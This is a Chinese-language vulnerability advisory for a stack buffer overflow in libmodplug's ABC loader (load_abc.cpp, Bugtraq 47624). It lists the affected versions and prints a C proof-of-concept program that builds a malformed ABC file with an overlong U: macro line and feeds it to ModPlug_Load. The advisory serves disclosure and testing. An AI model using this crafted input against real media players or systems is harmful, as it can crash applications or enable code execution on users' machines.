libmodplug "load_abc.cpp"远程栈缓冲区溢出漏洞
libmodplug "load_abc.cpp"远程栈缓冲区溢出漏洞
发布日期:2011-04-28
更新日期:2011-05-04
受影响系统:
libmodplug libmodplug 0.8.8 2
libmodplug libmodplug 0.8.8 1
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.6
libmodplug libmodplug 0.8.4
libmodplug libmodplug 0.8
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 47624
Libmodplug是用于播放mod类音乐格式的开源函数库。
libmodplug "load_abc.cpp"在实现上存在远程栈缓冲区溢出漏洞,远程攻击者可利用此漏洞以使用受影响库的应用程序用户权限执行任意代码,造成拒绝服务。
此漏洞源于src/load_abc.cpp "abc_new_macro()"和"abc_new_umacro()"函数中的边界错误,通过诱使用户打开特制的ABC文件造成栈缓冲区溢出。
<*来源:epiphant
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
epiphant ()提供了如下测试方法:
- #include <libmodplug/modplug.h>
- #include <stdio.h>
- #include <string.h>
- /*
- libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc
- http://modplug-xmms.sourceforge.net/
- by: epiphant
- this exploits one of many overflows in load_abc.cpp lol
- vlc media player uses libmodplug
- greets: defrost, babi, ming_wisher, emel1a, a.v., krs
- date: 28 april 2011
- tested on: centos 5.6
- */
- int main(void)
- {
- char test[512] = "X: 1\nU: ";
- unsigned int i;
- i = strlen(test);
- while (i < 278)
- test[i++] = 'Q';
- test[i++] = '1' + 32;
- test[i++] = '3';
- test[i++] = '3';
- test[i++] = '4';
- while (i < 286)
- test[i++] = 'A';
- test[i++] = '\n';
- test[i] = '\0';
- strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
- strcat(test, "Z: 3 Doors Down\n");
- strcat(test, "L: 1/4\n");
- strcat(test, "Q: 108\n");
- strcat(test, "K: C\n\n");
- strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");
- i = strlen(test);
- ModPlug_Load(test, i);
- return 0;
- }
复制代码建议:
--------------------------------------------------------------------------------
厂商补丁:
libmodplug
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论